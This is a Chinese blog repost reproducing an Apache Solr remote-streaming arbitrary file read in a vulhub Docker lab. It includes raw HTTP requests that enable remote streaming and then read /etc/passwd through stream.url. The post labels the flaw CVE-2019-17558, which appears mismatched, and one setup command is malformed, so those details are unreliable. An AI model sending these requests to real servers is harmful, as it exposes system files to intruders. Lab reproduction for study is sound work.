当前位置:   article > 正文

Apache Solr <= 8.8.1任意文件读取漏洞复现CVE-2019-17558_solr8.8.1漏洞

solr8.8.1漏洞

一、环境准备

搭建环境vulhub,需要提前安装docker环境

docker安装docker--安装docker-ce-CSDN博客

vulhub地址:https://github.com/vulhub/vulhub

  1. #创建靶场环境
  2. mkdir /opt/vulhub
  3. cd /opt/vulhub
  4. git https://github.com/vulhub/vulhub.git #git拉取失败请用主机下砸zip上传虚拟机或云服务器
  5. cd /opt/vulhub/vulhub-master/solr/CVE-2019-17558
  6. docker-compose up -d

windows安装jdk环境

下载bp抓包工具

 

二、抓包测试

 获取name信息,如果使用的是

http://*.*.*.*:8983/solr/admin/cores?indexInfo=false&wt=json

name属性为demo 

  1. {
  2. "responseHeader":{
  3. "status":0,
  4. "QTime":0},
  5. "initFailures":{},
  6. "status":{
  7. "demo":{
  8. "name":"demo",
  9. "instanceDir":"/var/solr/data/demo",
  10. "dataDir":"/var/solr/data/demo/data/",
  11. "config":"solrconfig.xml",
  12. "schema":"managed-schema",
  13. "startTime":"2024-01-16T07:46:24.405Z",
  14. "uptime":165859}}}

打开bp,设置代理,浏览器也要设置,虚拟机设置127.0.0.1,云服务器设置公网IP,端口自定义(默认是8080),bp与浏览器一致即可,另外与本机服务不冲突

判断漏洞是否存在,返回正确说明存在

  1. POST /solr/demo/config HTTP/1.1
  2. Host: *.*.*.*:8983
  3. Content-Length: 92
  4. Connection: close
  5. {
  6. "set-property":{
  7. "requestDispatcher.requestParsers.enableRemoteStreaming":true
  8. }
  9. }

 

三、构造特殊请求包获取敏感数据

构造读取/etc/passwd

  1. POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
  2. Host: *.*.*.*:8983
  3. Content-Length: 29
  4. Content-Type: application/x-www-form-urlencoded
  5. Connection: close
  6. stream.url=file:///etc/passwd

获取成功

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/blog/article/detail/58693
推荐阅读
相关标签
  

闽ICP备14008679号